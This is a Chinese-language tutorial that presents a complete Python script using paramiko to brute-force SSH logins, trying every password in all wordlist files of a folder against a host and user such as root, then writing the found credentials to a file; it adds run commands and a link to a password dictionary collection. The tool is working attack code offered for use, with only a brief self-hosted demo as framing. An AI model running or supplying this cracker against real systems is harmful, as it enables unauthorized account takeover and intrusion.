通过python代码自定义ssh密码爆破
- 一,这段代码的意义:
- 二,直接上写好的代码:
- 三,使用pip3 install paramiko 命令安装库
- 四,使用 python3 test.py 主机地址 -u 用户名 -p 字典路径/
- 五,字典的选取
一,这段代码的意义:
大部分爆破工具进行爆破时选择字典时只能选择文件,不能选择文件夹,我们收集来的字典可能很多,不可能一个一个字典来试一下,
所以写这段代码的意义就是解决这个问题,把所有txt文件放在一个文件夹里,只需要给出这个文件夹路径,它就能进行工作
二,直接上写好的代码:
test.py
import os
import paramiko
import argparse
import socket
import time
import sys
def is_ssh_open(hostname, username, password):
# 创建ssh对象
client = paramiko.SSHClient()
# 如果之前没有连接过,会出现Are you sure you want to continue connection(yes/no)
# 自动选择yes
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
# 建立一次ssh连接
client.connect(hostname=hostname, username=username, password=password, timeout=3) # timeout连接超时
# 如果出现错误要怎么处理
except socket.timeout:
# IP地址不正确或目标主机没开启ssh服务
print(f"无法连接主机{hostname},连接超时!")
return False
except paramiko.AuthenticationException:
print(f'错误的账号密码{username}:{password}')
return False
except paramiko.SSHException:
print('稍后重试')
time.sleep(5)
return is_ssh_open(hostname, username, password)
else:
print(f'主机{hostname}\tssh账号密码是{username}:{password}')
return True
description = "例如 python ssh弱口令爆破.py 192.168.1.7 -u root -p 存放txt文件的文件夹路径/"
if __name__ == '__main__':
# Python终端控制台执行命令时,选项的设置
parser = argparse.ArgumentParser(description=description, usage='python %(prog)s host -u username -p pass_lis.txt')
parser.add_argument('host', help='主机名字或者主机IP地址')
parser.add_argument('-u', dest='user', help='用户名')
parser.add_argument('-p', dest='pass_dir_path', help='密码字典文件夹路径/')
# 192.168.1.12
# 192.168.1.12 -u root -p /Users/liuhaoran/PycharmProjects/pythonProject/new_building
# 如果不输入选项和参数,直接打印帮助信息并退出程序
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
# 开始解析参数,获取解析结果对象
args = parser.parse_args()
# 获得结果对象的参数值
host = args.host
user = args.user
path = args.pass_dir_path
if os.path.exists(path):
files = os.listdir(path)
# 遍历目录下的txt文件
for file in files:
position=path+file
print(position)
# 读取密码字典,并以回车分割返回一个列表
pass_list = open(position).read().splitlines()
# 循环密码列表,重复建立不同的ssh连接,直到字典跑完或者找到正确密码为止
for password in pass_list:
if is_ssh_open(host, user, password):
open('ssh.txt', 'w').write(f'{user}@{host}:{password}')
break
三,使用pip3 install paramiko 命令安装库
四,使用 python3 test.py 主机地址 -u 用户名 -p 字典路径/
例如:python3 test.py 192.168.1.12 -u root -p /Users/liuhaoran/PycharmProjects/pythonProject/abc/
(不要忘记路径后面的 / )
我们在abc 文件夹下随便创建一些文件,把我们的192.168.1.12主机的密码胡乱写进其中一个文件,使用上面的命令进行爆破
观察最终运行的结果:
五,字典的选取
字典链接https://github.com/k8gege/PasswordDic
把下载好的字典中的所有txt文件都整合到一个文件夹中,多余的其他格式的文件移除掉。